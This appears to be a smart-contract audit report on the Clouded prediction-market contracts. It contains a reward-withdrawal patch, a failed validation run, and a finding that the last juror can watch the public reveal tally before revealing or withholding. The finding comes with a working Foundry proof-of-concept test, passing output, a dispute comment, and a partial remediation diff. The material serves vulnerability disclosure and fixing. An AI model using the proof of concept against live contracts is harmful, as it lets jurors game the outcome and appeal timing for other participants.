             emit ClaimTraderReward(msg.sender, _marketId, _outcomeIds[i], _traderShares, _totalReward, _traderReward);
         }
 
         if (_traderReward > 0) {
             (bool _success, ) = msg.sender.call{value: _traderReward}("");
             require(_success, "Refund failed");
         }
     }
 
     function claimJuryReward(address _msgSender, uint256 _tokenMarketId, uint256 _totalWinnerOutcomeStakes) external nonReentrant isJury returns (uint256 tokenReward) {
         uint256 _marketTotalReward = _getMarketTotalReward(_tokenMarketId);
         tokenReward =  _marketTotalReward / 10 / _totalWinnerOutcomeStakes;
-        if (tokenReward > 0) {
-            (bool _success, ) = _msgSender.call{value: tokenReward}("");
-            require(_success, "Jury refund failed");
-        }
+        pendingJuryRewards[_msgSender] += tokenReward;
     }
 
+    function withdrawJuryReward(address payable _recipient) external nonReentrant {
+        uint256 _reward = pendingJuryRewards[msg.sender];
+        require(_reward > 0, "No jury reward");
+        pendingJuryRewards[msg.sender] = 0;
+        (bool _success, ) = _recipient.call{value: _reward}("");
+        require(_success, "Jury refund failed");
+    }
+
     function _update(address _from, address _to, uint256[] memory _ids, uint256[] memory _values) internal virtual override {
         super._update(_from, _to, _ids, _values);
         
         if (_from != address(0) && _to != address(0)) {
             for (uint256 i = 0; i < _ids.length; i++) {
                 if (_values[i] > 0) {
                     traderOutcomeIds_[_to].add(_ids[i]);
                     if (balanceOf(_from, _ids[i]) == 0) traderOutcomeIds_[_from].remove(_ids[i]);
                     emit TransferToken(_from, _to, _ids[i], traderOutcomeIds_[_from].isSet(_ids[i]));
                 }
             }
         }
     }
 
     function _getPriceAppreciation(uint256 _idTotalShares, bool _isBuy, uint256 _shares) private pure returns (uint256) {
         uint256 _sharesAfter = _isBuy ? _idTotalShares + _shares : _idTotalShares - _shares;
         uint256 _sharesAfterSquared  = _sharesAfter * _sharesAfter;
         uint256 _sharesBeforeSquared = _idTotalShares * _idTotalShares;
         return _isBuy ? B * (_sharesAfterSquared - _sharesBeforeSquared) * DECIMALS / 2 / 10000 : B * (_sharesBeforeSquared - _sharesAfterSquared) * DECIMALS / 2 / 10000;
     }
 
     function _getMarketWinningOutcome(uint256 _marketId) private view returns (uint256) {
         uint256 _currentOutcomeId;
         uint256 _winningOutcomeShares;
         uint256 _winningOutcomeId;
         for (uint256 i = 0; i < markets_[_marketId].outcomeIds.length; i++) {
             _currentOutcomeId = markets_[_marketId].outcomeIds[i];
             if (outcomes_[_currentOutcomeId].shares > _winningOutcomeShares) {
                 _winningOutcomeShares = outcomes_[_currentOutcomeId].shares;
                 _winningOutcomeId = _currentOutcomeId;
             }
         }
         return _winningOutcomeId;
     }
 
     function _getMarketTotalReward(uint256 _marketId) private view returns (uint256) { return markets_[_marketId].bondingPool + markets_[_marketId].prizePool; }
 
     function _calculateOutcomeReward(uint256 _traderShares, uint256 _pool, uint256 _outcomeShares) private pure returns (uint256) { return _traderShares * _pool * 9 / _outcomeShares / 10; }
 
     function _calculateAvgCost(address _traderAddr, uint256 _outcomeId, bool _isBuy, uint256 _shares, uint256 _price) private {
         AvgPrice storage traderOutcomeAvgCost = traderOutcomeAvgCost_[_traderAddr][_outcomeId];
         if (_isBuy) {
             traderOutcomeAvgCost.avgPrice = (traderOutcomeAvgCost.shares * traderOutcomeAvgCost.avgPrice + _price) / (traderOutcomeAvgCost.shares + _shares);
             traderOutcomeAvgCost.shares  += _shares;
         }
         if (!_isBuy) {
             if (traderOutcomeAvgCost.shares <= _shares) {
                 _shares = traderOutcomeAvgCost.shares;
                 traderOutcomeAvgCost.avgPrice = 0;
             }
             traderOutcomeAvgCost.shares -= _shares;
         }
         emit TraderAvgCost(_traderAddr, _outcomeId, traderOutcomeAvgCost.avgPrice);
     }
 
     function _calculateAvgSell(address _traderAddr, uint256 _outcomeId, uint256 _shares, uint256 _price) private {
         AvgPrice storage traderOutcomeAvgSell = traderOutcomeAvgSell_[_traderAddr][_outcomeId];
         uint256 _avgSell = _price / _shares;
 
         traderOutcomeAvgSell.avgPrice = (traderOutcomeAvgSell.avgPrice * traderOutcomeAvgSell.shares + _avgSell * _shares) / (traderOutcomeAvgSell.shares + _shares);
         traderOutcomeAvgSell.shares  += _shares;
 
         int256 _pnlPerShare = int256(_avgSell) - int256(traderOutcomeAvgCost_[_traderAddr][_outcomeId].avgPrice);
         int256 _totalPnl    = _pnlPerShare * int256(_shares);
         traderOutcomePnl_[_traderAddr][_outcomeId] += _totalPnl;
 
         emit TraderAvgSell(_traderAddr, _outcomeId, traderOutcomeAvgSell.avgPrice, traderOutcomePnl_[_traderAddr][_outcomeId]);
     }
 
     function _getMinRewardToWin(uint256 _shares, uint256 _totalPool, uint256 _totalPrizePool, uint256 _sharesAfterBuy) private pure returns (uint256) {
         uint256 _effectivePool = _totalPrizePool < _totalPool ? _totalPrizePool : _totalPool;
 
         uint256 _k   = B * DECIMALS / 10000;
         uint256 _kS2 = _k * _sharesAfterBuy * _sharesAfterBuy; // if k × sharesAfterBuy < 0.9 × poolAfterBuy / sharesAfterBuy, has guaranteed min profit to enter if won
         if (_kS2 * 10 >= _effectivePool * 9) return _calculateOutcomeReward(_shares, _effectivePool, _sharesAfterBuy);
 
         uint256 _numerator   = 18 * _effectivePool - 9 * _kS2;
         uint256 _denominator = 11 * _k;
         uint256 _equilibrium = _sqrt(_numerator / _denominator); // c(S_eq) = 0.9 × P_eq / S_eq --> P_eq = P₀ + k(S_eq² - S₀²)/2 --> S_eq = √[ 18(P₀ - kS₀²/2) / 11k ]
 
         return _shares * _k * _equilibrium;
     }
 
     function _sqrt(uint256 y) private pure returns (uint256 z) {
         if (y > 3) {
             z = y;
             uint256 x = y / 2 + 1;
             while (x < z) { z = x; x = (y / x + x) / 2; }
         } else if (y != 0) z = 1;
     }
 }
\ No newline at end of file

Affected files

  • Clouded.sol
  • src/Clouded.sol

Validation output

[output truncated: 1175 lines & 64.48828125 KB skipped]
Ran 1 test suite in 9.95ms (3.14ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Poc.t.sol:PocTest
[FAIL: next call did not revert as expected] testRejectingRecipientCannotSettleWinningStake() (gas: 3007689)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger

Reveal timing lets one juror observe rivals before committing outcome vote

High#298641Validity: Unreviewed

Comment:

The only motive for a juror to observe other jurors' votes is to anticipate the random number used in determining the jury panel and DAO rewards. Since no one knows others' private salts and cannot change their commit hash after the market ends, the only way to interfere with the random number is to withhold a reveal, preventing one's own private salt from affecting the current random number. This is not viable by design: DAO rewards are only distributed when all stakers have revealed their outcomes.

Source locations

Uploaded archive/CloudedJury.sol

Lines 346-376 — _Publicly observable running tally lets later revealers make informed reveal/withhold choices_

    function revealOutcome(uint256 _marketId, uint256 _outcomeId, bytes32 _salt) external nonReentrant {
        if (_updateMarketStatus(_marketId) != Status.JURY) revert JuryWindowEnded();
        if (IClouded(CLOUDED).getOutcomeMarketId(_outcomeId) != _marketId) revert InvalidId();
        if (marketHasRevealedOf_[msg.sender][_marketId]) revert OutcomeRevealed();
        marketHasRevealedOf_[msg.sender][_marketId] = true;

        bytes32 _commitHash = marketCommitHashOf_[msg.sender][_marketId];
        if (_commitHash == 0) revert NoCommitHash();
        if (keccak256(abi.encodePacked(msg.sender, _marketId, _outcomeId, _salt)) != _commitHash) revert WrongCommitHash();
        marketOutcomeOf_[msg.sender][_marketId] = _outcomeId;

        Market storage market = markets_[_marketId];
        market.randomNumber   = market.randomNumber ^ _salt;

        market.marketReveals     += marketTokenOf_[msg.sender][_marketId].getLength();
        if (market.marketReveals == marketStakes_[_marketId].getLength()) market.marketRevealedTS = block.timestamp;

        uint256 _winningOutcomeId;
        uint256 _winningOutcomeCount;
        uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
        marketOutcomeCount_[_marketId][_outcomeId] += marketTokenOf_[msg.sender][_marketId].getLength();
        for (uint256 i = 0; i < _marketOutcomeIds.length; i++) {
            if (marketOutcomeCount_[_marketId][_marketOutcomeIds[i]] > _winningOutcomeCount) {
                _winningOutcomeId    = _marketOutcomeIds[i];
                _winningOutcomeCount = marketOutcomeCount_[_marketId][_marketOutcomeIds[i]];
            }
        }
        market.juryOutcome = _winningOutcomeId;

        emit RevealOutcome(_marketId, msg.sender, _outcomeId, market.randomNumber, market.marketReveals, market.marketRevealedTS, market.juryOutcome);
    }

Description

The JURY window closes as soon as market.marketReveals == marketStakes_[_marketId].getLength() (CloudedJury.sol:361), meaning the last staker to call revealOutcome can first read every prior RevealOutcome event (which emits juryOutcomeIdOf and the running juryOutcome tally, lines 88 and 375) to see exactly what the current leading outcome is before submitting their own reveal. Although each juror's vote was cryptographically committed earlier via marketCommitHashOf_, preventing them from changing their _outcomeId for their own commit, they can still choose to reveal or withhold based on the currently observed tally, since revealing is optional except for the slashing penalty applied in claimReward at line 478.

Root cause

Reveal-phase outcome tallying and the JURY-window-closing condition are both derived from live, publicly readable state (marketOutcomeCount_, market.marketReveals) updated incrementally per reveal, allowing later revealers to make a fully informed reveal/withhold decision instead of committing blind.

Impact

A juror with a committed vote that will end up losing (based on now-visible partial tally) can strategically withhold their reveal to avoid contributing towards the wrong juryOutcome calculation being finalized before appeal, or to manipulate whether marketRevealedTS triggers early (shortening/lengthening the appeal timeline for other participants) since marketReveals == marketStakes.getLength() requires every staker's reveal.

Proof of concept

Test case

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";
import {Clouded} from "../src/Clouded.sol";
import {CloudedDAO} from "../src/CloudedDAO.sol";
import {CloudedJury} from "../src/CloudedJury.sol";
import {CloudedManager} from "../src/CloudedManager.sol";

/// @dev Code is etched at CloudedManager's hard-coded governance-token address.
contract ManagerTokenMock {
    mapping(address => uint256) private balances;
    uint256 private supply;

    function configure(address holder, uint256 amount) external {
        supply = amount;
        balances[holder] = amount;
    }

    function balanceOf(address account) external view returns (uint256) {
        return balances[account];
    }

    function totalSupply() external view returns (uint256) {
        return supply;
    }
}

contract PocTest is Test {
    address internal constant GOVERNANCE_TOKEN = 0x668f6C73b2e6d023f758B18973065Ce2c11BDD7B;

    address internal admin = makeAddr("manager-admin");
    address internal creator = makeAddr("market-creator");
    address internal honestYes = makeAddr("honest-yes-juror");
    address internal honestNo = makeAddr("honest-no-juror");
    address internal attacker = makeAddr("last-revealer-attacker");

    CloudedManager internal manager;
    CloudedJury internal jury;
    Clouded internal clouded;
    CloudedDAO internal dao;

    uint256 internal constant MARKET_ID = 1;
    uint256 internal constant ATTACKER_TOKEN_ID = 10;

    function setUp() public {
        ManagerTokenMock implementation = new ManagerTokenMock();
        vm.etch(GOVERNANCE_TOKEN, address(implementation).code);
        ManagerTokenMock(GOVERNANCE_TOKEN).configure(admin, 100 ether);

        manager = new CloudedManager();
        jury = new CloudedJury("Clouded Jury", "JURY", address(manager));
        clouded = new Clouded("ipfs://clouded/", address(manager), address(jury));
        dao = new CloudedDAO("Clouded DAO", "CDAO", address(jury), address(clouded));

        vm.startPrank(admin);
        manager.updateJuryAddrs(address(jury), address(clouded), address(dao));
        manager.updateCloudedAddr(address(clouded));
        manager.updateWhitelisted();
        vm.stopPrank();

        vm.deal(creator, 100 ether);
        vm.deal(honestYes, 100 ether);
        vm.deal(honestNo, 100 ether);
        vm.deal(attacker, 100 ether);

        _mintJuryTokens(creator, 5);
        _mintJuryTokens(honestYes, 3);
        _mintJuryTokens(honestNo, 1);
        _mintJuryTokens(attacker, 1);
    }

    function _mintJuryTokens(address who, uint256 amount) internal {
        vm.prank(who);
        jury.mint{value: amount * 3 ether}(amount);
    }

    function _createMarketAndStakeJurors()
        internal
        returns (uint256 yesOutcome, uint256 noOutcome, uint256 startAt, bytes32 attackerSalt)
    {
        string[] memory outcomes = new string[](2);
        outcomes[0] = "YES";
        outcomes[1] = "NO";
        uint256[] memory collateral = jury.getUserTokenIds(creator);

        uint256 creationBuyPrice = clouded.getPriceAppreciation(1, true, 10);
        vm.prank(creator);
        jury.createMarket{value: creationBuyPrice}(
            "Will public reveal data bias the last vote?",
            "The test resolves only the commit-reveal timing behavior.",
            outcomes,
            1,
            collateral,
            1,
            10
        );

        uint256[] memory outcomeIds;
        (, , outcomeIds, startAt, , , , ) = clouded.getMarketInfo(MARKET_ID);
        yesOutcome = outcomeIds[0];
        noOutcome = outcomeIds[1];

        bytes32 yesSalt = bytes32(uint256(0x1111));
        bytes32 noSalt = bytes32(uint256(0x2222));
        attackerSalt = bytes32(uint256(0x3333));

        uint256[] memory yesTokens = new uint256[](3);
        yesTokens[0] = 6;
        yesTokens[1] = 7;
        yesTokens[2] = 8;
        vm.prank(honestYes);
        jury.stake(MARKET_ID, yesTokens, keccak256(abi.encodePacked(honestYes, MARKET_ID, yesOutcome, yesSalt)));

        uint256[] memory oneToken = new uint256[](1);
        oneToken[0] = 9;
        vm.prank(honestNo);
        jury.stake(MARKET_ID, oneToken, keccak256(abi.encodePacked(honestNo, MARKET_ID, noOutcome, noSalt)));

        oneToken[0] = ATTACKER_TOKEN_ID;
        vm.prank(attacker);
        jury.stake(MARKET_ID, oneToken, keccak256(abi.encodePacked(attacker, MARKET_ID, noOutcome, attackerSalt)));
    }

    function _storedMarket()
        internal
        view
        returns (uint256 marketRevealedTS, uint256 marketReveals, uint256 juryOutcome)
    {
        (, , marketRevealedTS, , marketReveals, juryOutcome, , , , ) = jury.getMarketStoredInfo(MARKET_ID);
    }

    function test_lastJurorCanObserveRunningTallyThenWithholdToChangeOutcomeAndAppealTiming() public {
        (uint256 yesOutcome, uint256 noOutcome, uint256 startAt, bytes32 attackerSalt) = _createMarketAndStakeJurors();

        vm.warp(startAt + 1 days);
        assertEq(jury.updateMarketStatus(MARKET_ID), 1, "market is in JURY reveal window");

        vm.prank(honestYes);
        jury.revealOutcome(MARKET_ID, yesOutcome, bytes32(uint256(0x1111)));
        vm.prank(honestNo);
        jury.revealOutcome(MARKET_ID, noOutcome, bytes32(uint256(0x2222)));

        (uint256 revealedTsAfterHonest, uint256 revealsAfterHonest, uint256 publiclyVisibleLeader) = _storedMarket();
        assertEq(revealedTsAfterHonest, 0, "last unrevealed stake keeps early reveal timestamp unset");
        assertEq(revealsAfterHonest, 4, "public state exposes that four of five staked tokens revealed");
        assertEq(publiclyVisibleLeader, yesOutcome, "attacker can read the running leading outcome before acting");

        uint256 attackerDecisionPoint = vm.snapshotState();

        // If the attacker reveals the already-committed NO vote after observing the YES lead,
        // their losing vote is counted but cannot overturn the 3-to-1 public tally. It does,
        // however, complete all reveals and records an early APPEAL start timestamp.
        vm.prank(attacker);
        jury.revealOutcome(MARKET_ID, noOutcome, attackerSalt);
        (uint256 revealedTsIfReveal, uint256 revealsIfReveal, uint256 outcomeIfReveal) = _storedMarket();
        assertEq(revealsIfReveal, 5, "revealing completes the live reveal counter");
        assertEq(revealedTsIfReveal, block.timestamp, "revealing sets early APPEAL start timestamp");
        assertEq(outcomeIfReveal, yesOutcome, "attacker's committed losing vote is still counted but does not overturn leader");
        vm.warp(revealedTsIfReveal + 1 days);
        assertEq(jury.updateMarketStatus(MARKET_ID), 4, "all-revealed branch settles one day after early reveal");

        assertTrue(vm.revertToStateAndDelete(attackerDecisionPoint));
        vm.warp(startAt + 1 days);

        // Attack branch: the attacker withholds after reading the public tally. This prevents both
        // their vote and salt from entering the market state, leaves the same observed outcome as
        // juryOutcome, and keeps the appeal clock anchored to the scheduled end of the JURY window.
        (uint256 revealedTsIfWithhold, uint256 revealsIfWithhold, uint256 outcomeIfWithhold) = _storedMarket();
        assertEq(revealedTsIfWithhold, 0, "withholding suppresses marketRevealedTS");
        assertEq(revealsIfWithhold, 4, "withheld committed token is not counted in marketReveals");
        assertEq(outcomeIfWithhold, yesOutcome, "withheld committed NO vote is excluded from the live outcome tally");

        vm.warp(startAt + 2 days - 1);
        assertEq(jury.updateMarketStatus(MARKET_ID), 1, "withholding extends JURY until scheduled reveal deadline");
        vm.warp(startAt + 2 days);
        assertEq(jury.updateMarketStatus(MARKET_ID), 2, "APPEAL starts only after the full unrevealed JURY window");
    }
}

Setup script

#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   test/Poc.t.sol

# build and run
cp Clouded.sol CloudedDAO.sol CloudedJury.sol CloudedManager.sol src/ && forge build
forge test --match-path test/Poc.t.sol -vv

Output

[output truncated: 1167 lines & 64.2041015625 KB skipped]
[test] forge test --match-path test/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/Poc.t.sol:PocTest
[PASS] test_lastJurorCanObserveRunningTallyThenWithholdToChangeOutcomeAndAppealTiming() (gas: 3527119)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.63ms (1.57ms CPU time)

Ran 1 test suite in 10.98ms (3.63ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Considerations

PoC proves the real CloudedJury.revealOutcome path exposes and updates the live tally/reveal counter before all commits are revealed, allowing the last staker to choose between revealing and withholding after reading public state. It demonstrates exclusion of the withheld committed vote from marketReveals/marketOutcomeCount and the resulting JURY/APPEAL timing difference. It does not quantify downstream economic payout or challenge success probability.

Validation reasoning

PoC validation command completed successfully.

Remediation

Explanation

Remove the reveal-count-driven early-close timestamp and anchor JURY/APPEAL transitions to the market's fixed scheduled deadlines. A last revealer can no longer advance or delay lifecycle timing based on the observed tally; committed vote verification, tallying, and non-reveal slashing remain intact.

Patch

diff
diff --git a/CloudedJury.sol b/CloudedJury.sol
--- a/CloudedJury.sol
+++ b/CloudedJury.sol
@@ -1,646 +1,645 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
 import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function swap(Set storage set, uint256 _indexA, uint256 _indexB) internal {
         if (_indexA == _indexB) return;
         
         uint256 idA = set.ids[_indexA];
         uint256 idB = set.ids[_indexB];
 
         set.ids[_indexA] = idB;
         set.ids[_indexB] = idA;
 
         set.positions[idA] = _indexB + 1;
         set.positions[idB] = _indexA + 1;
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IClouded {
     function nextMarketId() external view returns (uint256);
     function getMarketStartAtDaysOf(uint256) external view returns (uint256, uint256);
     function getOutcomeMarketId(uint256) external view returns (uint256);
     function getMarketOutcomeIds(uint256) external view returns (uint256[] memory);
     function getMarketWinningOutcome(uint256) external view returns (uint256);
     function getPriceAppreciation(uint256, bool, uint256) external view returns (uint256);
     function getMarketIndexInfoInBatch(uint256[] memory _marketIds) external view returns (string[] memory, uint256[] memory, uint256[][] memory, string[][] memory, uint256[][] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function getMarketResolutionInfoInBatch(uint256[] memory) external view returns (string[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function createMarket(string memory, string memory, string[] memory, uint256) external returns (uint256[] memory);
     function buy(address, uint256, uint256, uint256, uint256, uint256) external payable;
     function claimJuryReward(address, uint256, uint256) external returns (uint256);
 }
 
 interface IDAO {
     function mint(address, uint256) external;
     function outcomeVotes(uint256) external view returns (uint256);
     function buyBack() external payable;
 }
 
 contract CloudedJury is ERC721, ReentrancyGuardTransient {
     using Strings for uint256;
     using Ids for Ids.Set;
 
     event AddToWhitelist(address indexed addr);
     event BatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId);
     event Stake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event Unstake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event CreateMarket(address indexed marketCreator, uint256 indexed marketId, uint256 indexed tokenId);
     event StakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes);
     event UnstakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes, bool isMarketOf);
     event CreateMarketAfter(address indexed marketCreator, uint256 indexed marketId, string marketName, string marketRule, uint256[] marketOutcomeIds, string[] marketOutcomeNames, uint256 startAt, uint256 daysOf);
     event RevealOutcome(uint256 indexed marketId, address indexed juryAddr, uint256 indexed juryOutcomeIdOf, bytes32 randomNumber, uint256 juryReveals, uint256 marketRevealedTS, uint256 juryOutcome);
     event SelectJury(uint256 indexed marketId, uint256 indexed tokenId, uint256 indexed tokenOutcomeId, address tokenOwner);
     event Challenge(address indexed challenger, uint256 indexed marketId, uint256 indexed tokenId, uint256 marketChallengedTS);
     event ResolveMarket(uint256 indexed marketId, uint256 votingOutcomeId, uint256 resolvedOutcomeId);
     event ClaimCreatorToken(address indexed creator, uint256 indexed marketId, uint256 tokenId);
     event ClaimChallengerReward(address indexed challenger, uint256 indexed marketId, uint256 tokenId, uint256 challengerReward);
     event ClaimJuryReward(address indexed staker, uint256 indexed marketId, uint256 tokenId, uint256 tokenReward);
     event ClaimRewardAfter(address indexed staker, uint256 indexed marketId, bool isMarketOf);
     event Slash(address indexed staker, uint256 indexed marketId, uint256 outcomeId, uint256 tokenId);
     event SendSlashedTokenToDAO(uint256 indexed marketId, uint256 tokens, uint256 tokenValue);
     event PublicLaunch();
 
     uint256 constant DECIMALS = 1e18;
     address public immutable MANAGER;
     address public CLOUDED;
     address public DAO;
 
     bool public whitelisted;
 
     // Overall protocol conditions
     string  private uri_;
     string  private baseURI_;
     uint256 private nextTokenId_;
     uint256 private totalSupply_;
     Ids.Set private allOngoingMarketIds_;
     Ids.Set private allResolvedMarketIds_;
     mapping(uint256 => Market) private markets_;
 
     // Staker conditions
     mapping(address => bool) private whitelisted_;
     mapping(address => Ids.Set) private tokenOf_;
     mapping(address => Ids.Set) private marketOf_; // Markets that stakers participate which include staking, creating, challenging
     mapping(uint256 => address) private tokenAddr_; // Staker token address
     mapping(address => mapping(uint256 => Ids.Set)) private marketTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketCreatorTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketChallengerTokenOf_;
     mapping(address => mapping(uint256 => bytes32)) private marketCommitHashOf_;
     mapping(address => mapping(uint256 => bool)) private marketHasRevealedOf_;
     mapping(address => mapping(uint256 => uint256)) private marketOutcomeOf_;
 
     // Staked tokens
     mapping(uint256 => Ids.Set) private marketStakes_; // total stakes in the market excluding creator and challenger tokens
     mapping(uint256 => Ids.Set) private marketJuryStakes_; // total stakes picked as jury
     mapping(uint256 => mapping(uint256 => uint256)) private juryOutcomeCount_;   // The amount of stakes in the jury, in the order of marketId → outcomeId → count
     mapping(uint256 => mapping(uint256 => uint256)) private marketOutcomeCount_; // The amount of stakes in the market
 
     struct Market {
         uint256 creatorTokens;
         uint256 challengerToken;
         uint256 marketRevealedTS;
         uint256 marketChallengedTS;
         uint256 marketReveals;
         uint256 juryOutcome;
         uint256 votingOutcome;
         bytes32 randomNumber;
         bool juryHasSelected;
         bool marketResolved;
         Status status;
     }
 
     enum Status {
         ONGOING, 
         JURY, 
         APPEAL, 
         VOTING, 
         SETTLED
     }
 
     modifier isManager() { if (msg.sender != MANAGER) revert NotAuthorized(); _; }
 
     constructor(string memory _name, string memory _symbol, address _managerAddr) ERC721(_name, _symbol) {
         MANAGER = _managerAddr;
         whitelisted = true;
         nextTokenId_ = 1;
     }
 
     function addToWhitelist(address _addr) external isManager {
         whitelisted_[_addr] = true;
         emit AddToWhitelist(_addr);
     }
 
     function publicLaunch() external isManager { whitelisted = false; emit PublicLaunch(); }
 
     function isWhitelisted(address _addr) external view returns (bool) { return whitelisted_[_addr]; }
 
     function tokenURI(uint256 _tokenId) public view override returns (string memory) {
         _requireOwned(_tokenId);
         return bytes(baseURI_).length > 0 ? baseURI_ : string.concat(uri_, _tokenId.toString());
     }
 
     function updateURI(string memory _newBaseURI, string memory _newURI) external isManager {
         baseURI_ = _newBaseURI;
         uri_ = _newURI;
         emit BatchMetadataUpdate(1, nextTokenId_ - 1);
     }
 
     function updateDAOAddr(address _daoAddr) external isManager { DAO = _daoAddr; }
 
     function updateCloudedAddr(address _cloudedAddr) external isManager { CLOUDED = _cloudedAddr; }
 
     function updateMarketStatus(uint256 _marketId) external returns (uint8) { return uint8(_updateMarketStatus(_marketId)); }
 
     function getAllOngoingMarketIds() external view returns (uint256[] memory) { return allOngoingMarketIds_.getAll(); }
 
     function getCurrentCreateMarketPrice() external view returns (uint256) { return _getCurrentCreateMarketPrice(); }
 
     function getResolvedMarkets() external view returns (uint256) { return allResolvedMarketIds_.getLength(); }
 
     function getResolvedMarketIds(uint256 _offset, uint256 _limit) external view returns (uint256[] memory ids) {
         uint256 _totalMarkets = allResolvedMarketIds_.getLength();
         if (_offset >= _totalMarkets || _limit == 0) return new uint256[](0);
 
         uint256 _end   = _totalMarkets - _offset;
         uint256 _count = _end > _limit ? _limit : _end;
 
         ids = new uint256[](_count);
         for (uint256 i = 0; i < _count; i++) { ids[i] = allResolvedMarketIds_.getId(_end - 1 - i); }
     }
 
     function getMarketStoredInfo(uint256 _marketId) external view returns (
         uint256 creatorTokens, 
         uint256 challengerToken, 
         uint256 marketRevealedTS, 
         uint256 marketChallengedTS, 
         uint256 marketReveals, 
         uint256 juryOutcome, 
         uint256 votingOutcome, 
         bytes32 randomNumber, 
         bool    juryHasSelected, 
         bool    marketResolved
     ) {
         Market storage market = markets_[_marketId];
         creatorTokens      = market.creatorTokens;
         challengerToken    = market.challengerToken;
         marketRevealedTS   = market.marketRevealedTS;
         marketChallengedTS = market.marketChallengedTS;
         marketReveals      = market.marketReveals;
         juryOutcome        = market.juryOutcome;
         votingOutcome      = market.votingOutcome;
         randomNumber       = market.randomNumber;
         juryHasSelected    = market.juryHasSelected;
         marketResolved     = market.marketResolved;
     }
 
     function getMarketDerivedInfo(uint256 _marketId) external view returns (uint256 resolvedOutcome, uint8 status) {
         resolvedOutcome = _getResolvedMarketOutcome(_marketId);
         Status _current = _getMarketStatus(_marketId);
         status = uint8(_current > markets_[_marketId].status ? _current : markets_[_marketId].status);
     }
 
     function getUserTokenIds(address _userAddr) external view returns (uint256[] memory) { return tokenOf_[_userAddr].getAll(); }
 
     function getStakerMarketIds(address _stakerAddr) external view returns (uint256[] memory) { return marketOf_[_stakerAddr].getAll(); }
 
     function getStakerMarketTokenIds(address _stakerAddr, uint256 _marketId) external view returns (uint256[] memory creatorTokenIds, uint256[] memory challengerTokenIds, uint256[] memory stakerTokenIds) {
         creatorTokenIds    = marketCreatorTokenOf_[_stakerAddr][_marketId].getAll();
         challengerTokenIds = marketChallengerTokenOf_[_stakerAddr][_marketId].getAll();
         stakerTokenIds     = marketTokenOf_[_stakerAddr][_marketId].getAll();
     }
 
     function mint(uint256 _amount) external payable nonReentrant {
         if (whitelisted && !whitelisted_[msg.sender]) revert Whitelisted();
 
         if (_amount == 0) revert ZeroAmount();
 
         uint256 _mintPrice = 3 * _amount * DECIMALS; // The price for minting an NFT is 3 $HYPE
         if (msg.value < _mintPrice) revert InsufficientPayment();
 
         for (uint256 i = 0; i < _amount; i++) {
             _mint(msg.sender, nextTokenId_);
             nextTokenId_++;
         }
 
         IDAO(DAO).buyBack{value: _amount * DECIMALS / 100}();
 
         uint256 _refund = msg.value - _mintPrice;
         if (_refund > 0) {
             (bool _success, ) = msg.sender.call{value: _refund}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function redeem(uint256[] memory _tokenIds) external nonReentrant {
         uint256 _amount;
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             _burn(_tokenIds[i]);
             _amount++;
         }
 
         if (_amount == 0) revert ZeroAmount();
 
         (bool _success, ) = msg.sender.call{value: _amount * 299 * DECIMALS / 100}("");
         if (!_success) revert RefundFailed();
     }
 
     function stake(uint256 _marketId, uint256[] memory _tokenIds, bytes32 _commitHash) external nonReentrant {
         if (_commitHash == 0) revert NoCommitHash();
         if (_tokenIds.length == 0) revert NoTokenSelected();
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         uint256 _tokenId;
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _tokenId = _tokenIds[i];
             if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
             marketStakes.add(_tokenId);
             marketTokenOf.add(_tokenId);
             tokenAddr_[_tokenId] = msg.sender;
             _update(address(this), _tokenId, msg.sender);
             emit Stake(msg.sender, _marketId, _tokenId);
         }
         marketOf_[msg.sender].add(_marketId);
